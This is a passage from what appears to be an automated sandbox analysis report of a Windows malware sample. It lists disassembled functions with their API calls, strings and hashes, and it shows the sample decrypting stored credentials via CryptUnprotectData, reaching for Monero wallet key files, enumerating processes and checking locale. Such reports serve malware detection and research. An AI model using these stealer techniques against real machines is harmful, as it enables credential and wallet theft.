Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID:
String ID: '{F$+Nw$34gv$Jc~$MS.I$bP~_$dtM~$6}
API String ID: 0-1837467796
Opcode ID: 06efa043235126c68abad3efc69ac66f3546f530a67530b19618790c55a9f0a0
Instruction ID: f4cff5ffa0104f93d145adc5dc308a5ce51dbcec8fed81adabc2d1a2d98bf999
Opcode Fuzzy Hash: 06efa043235126c68abad3efc69ac66f3546f530a67530b19618790c55a9f0a0
Instruction Fuzzy Hash: EDB217F360C2049FE3046E29EC8567AFBE9EFD4320F1A893DE6C583744E67558058796

Function 00177B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0017A740: lstrcpy.KERNEL32(00180E17,00000000), ref: 0017A788

GetKeyboardLayoutList.USER32(00000000,00000000,001805AF), ref: 00177BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00177BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00177C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00177C62
LocalFree.KERNEL32(00000000), ref: 00177D22

Strings

/ , xrefs: 00177C7F

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 42667d083985f1fd3c80a88da5996c9cee8ccff6df2c2aa2a8b9cb7c237524c8
Instruction ID: 84bb8e11dfb60a791d9d0b0677cd0b84efe9556f03cc601089ee7fd0d162fa9e
Opcode Fuzzy Hash: 42667d083985f1fd3c80a88da5996c9cee8ccff6df2c2aa2a8b9cb7c237524c8
Instruction Fuzzy Hash: DC413D71940218ABDB24DB94DC99FEEB778FF58700F608199E10DA6191DB342F85CFA2

Function 0016E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0017A740: lstrcpy.KERNEL32(00180E17,00000000), ref: 0017A788

Part of subcall function 0017A920: lstrcpy.KERNEL32(00000000,?), ref: 0017A972
Part of subcall function 0017A920: lstrcat.KERNEL32(00000000), ref: 0017A982

Part of subcall function 0017A9B0: lstrlen.KERNEL32(?,00CC9188,?,\Monero\wallet.keys,00180E17), ref: 0017A9C5
Part of subcall function 0017A9B0: lstrcpy.KERNEL32(00000000), ref: 0017AA04
Part of subcall function 0017A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0017AA12

Part of subcall function 0017A8A0: lstrcpy.KERNEL32(?,00180E17), ref: 0017A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00180D73), ref: 0016E4A2
StrCmpCA.SHLWAPI(?,001814F8), ref: 0016E4F2
StrCmpCA.SHLWAPI(?,001814FC), ref: 0016E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0016EBDF

Strings

\*.*, xrefs: 0016E44D

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 66b1ed18e1a79b5e594b3391a8b91ab8ed11ae139ec16f30388173f70c3fe1c7
Instruction ID: ab496e38fb26cb66e20d2b91b7a3b0e90d6cc296e402691ed2b3acbaf0cb4512
Opcode Fuzzy Hash: 66b1ed18e1a79b5e594b3391a8b91ab8ed11ae139ec16f30388173f70c3fe1c7
Instruction Fuzzy Hash: 111215729101189ADB19FB70DC96EEE7378AFA4301FC085A9B51E96091EF305F49CF92

Function 005238B2 Relevance: 7.9, Strings: 5, Instructions: 1611COMMON

Download Yara Rule

Strings

?, xrefs: 00524018
{2k/, xrefs: 005244CB
pl7, xrefs: 00523DF6
]w, xrefs: 0052462F
{2k/, xrefs: 005244BC

Memory Dump Source

Source File: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ]w$pl7${2k/${2k/$?
API String ID: 0-878772045
Opcode ID: 0d66f3566d604ce6fcf612012f3e3c5bd5041c8d6b193407446db66682c5a068
Instruction ID: 59183061bd5fe48ce1b0470886dcf364240099a505123049a8dea330613ffb28
Opcode Fuzzy Hash: 0d66f3566d604ce6fcf612012f3e3c5bd5041c8d6b193407446db66682c5a068
Instruction Fuzzy Hash: C4B2F7F360C200AFE704AE2DEC8567ABBE9EF94720F1A493DE6C4C3744E63558458697

Function 0016C820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0016C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0016C87C
lstrcat.KERNEL32(?,00180B46), ref: 0016C943
lstrcat.KERNEL32(?,00180B47), ref: 0016C957
lstrcat.KERNEL32(?,00180B4E), ref: 0016C978

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: faacd605f62d96ffec04f19c1138deb377415d679c6172e68c45c8bb64faf03f
Instruction ID: 40f91728d8a2119c75807efea6cfa0940fb7038c30586c834df03ae7813c59d5
Opcode Fuzzy Hash: faacd605f62d96ffec04f19c1138deb377415d679c6172e68c45c8bb64faf03f
Instruction Fuzzy Hash: D6418DB590421EDBDB10DFA0DD89BFEB7B8BB48304F1041A8E509A7280D7745B84CF92

Function 00176920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 0017696C
sscanf.NTDLL ref: 00176999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 001769B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 001769C0
ExitProcess.KERNEL32 ref: 001769DA

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: a555f768a7ff21229f2b8798eeec7a9fb90c64d2bc68733047f0839b61d42dc9
Instruction ID: 688bfcc258011a0e92db8565618b3bfd24df5892d7b3bb089a3e75fc325db410
Opcode Fuzzy Hash: a555f768a7ff21229f2b8798eeec7a9fb90c64d2bc68733047f0839b61d42dc9
Instruction Fuzzy Hash: F021CB76D14208AFCF49EFE4D9459EEB7B9BF48300F04852AE51AE3250EB345609CBA5

Function 00167240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 0016724D
RtlAllocateHeap.NTDLL(00000000), ref: 00167254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00167281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 001672A4
LocalFree.KERNEL32(?), ref: 001672AE

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 04b54ac22889a0d0cbba2f2f9f2305c8a11190000e1426ed6b79d3d355fe074a
Instruction ID: 99006f38669f4d6804e0f6289bb420e3f0146ea16f08eee7896719f647897800
Opcode Fuzzy Hash: 04b54ac22889a0d0cbba2f2f9f2305c8a11190000e1426ed6b79d3d355fe074a
Instruction Fuzzy Hash: 580100B5A40208BBDB15DFD4CD49F9E77BCAB44B04F104158FB05AA2C0D774AA00CB65

Function 00179600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0017961E
Process32First.KERNEL32(00180ACA,00000128), ref: 00179632
Process32Next.KERNEL32(00180ACA,00000128), ref: 00179647
StrCmpCA.SHLWAPI(?,00000000), ref: 0017965C
CloseHandle.KERNEL32(00180ACA), ref: 0017967A

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: dc3fea168cf91789667ac39a40bf700d38224130103cbb28d722156665928a55
Instruction ID: 9e9039e9f870b28f28182393c3066cc2e9fb64b91025fb275ccc70fbd88ce2bd
Opcode Fuzzy Hash: dc3fea168cf91789667ac39a40bf700d38224130103cbb28d722156665928a55
Instruction Fuzzy Hash: 69011EB5A00208EBCB15DFA5CD48BEEBBFCEB48300F108288B90A97240E7359B44DF51

Function 0053297F Relevance: 6.7, Strings: 4, Instructions: 1655COMMON

Download Yara Rule

Strings

|5*, xrefs: 005336B3
!;}w, xrefs: 00533C08
r6}V, xrefs: 00532D2F
Min=, xrefs: 00533689

Memory Dump Source

Source File: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID:
String ID: !;}w$Min=$r6}V$|5*
API String ID: 0-17906166
Opcode ID: 36c081c81837eaf4adb91964779debd31f70e605c38083418bf14cc1d4e579d2
Instruction ID: 2fbc8b033b813ac0a73d37b6454cb33f48e1c7fbaf628cb5802cdde71693664d
Opcode Fuzzy Hash: 36c081c81837eaf4adb91964779debd31f70e605c38083418bf14cc1d4e579d2
Instruction Fuzzy Hash: 76B217F36086049FE304AE2DDC8567ABBE6EF94320F1A893DE6C4C7744EA3558058797

Function 00178EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00165184,40000001,00000000,00000000,?,00165184), ref: 00178EC0

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 40e93ef621739de374ad56d3322bd024f1e12d51ed1db93277ac3804e279aa46
Instruction ID: fc7a1a2cacbb337666f140cba2a2a3bd182579fb4228c231dd9d91d40a26ac7b
Opcode Fuzzy Hash: 40e93ef621739de374ad56d3322bd024f1e12d51ed1db93277ac3804e279aa46
Instruction Fuzzy Hash: F7110071244609AFDB04CFA4E888FAA37BAAF8A714F10D548F9198B250DB35E941DB60

Function 00169AC0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00164EEE,00000000,00000000), ref: 00169AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00164EEE,00000000,?), ref: 00169B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00164EEE,00000000,00000000), ref: 00169B2A
LocalFree.KERNEL32(?,?,?,?,00164EEE,00000000,?), ref: 00169B3F

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: db0209c9641044c2b9e764a0ff9d48af9b098226adf8104a25002c2567e7df28
Instruction ID: cc686b35cf8dfd0e6c523ffa5683db343cb6b02d71a89e3d06f2ec5dace8afb6
Opcode Fuzzy Hash: db0209c9641044c2b9e764a0ff9d48af9b098226adf8104a25002c2567e7df28
Instruction Fuzzy Hash: 8311A4B4241208AFEB11CF64DC95FAA77B9FB89B10F208058F9159B394C775A901DB50

Function 00177A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00CCF1A0,00000000,?,00180E10,00000000,?,00000000,00000000), ref: 00177A63
RtlAllocateHeap.NTDLL(00000000), ref: 00177A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00CCF1A0,00000000,?,00180E10,00000000,?,00000000,00000000,?), ref: 00177A7D
wsprintfA.USER32 ref: 00177AB7

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

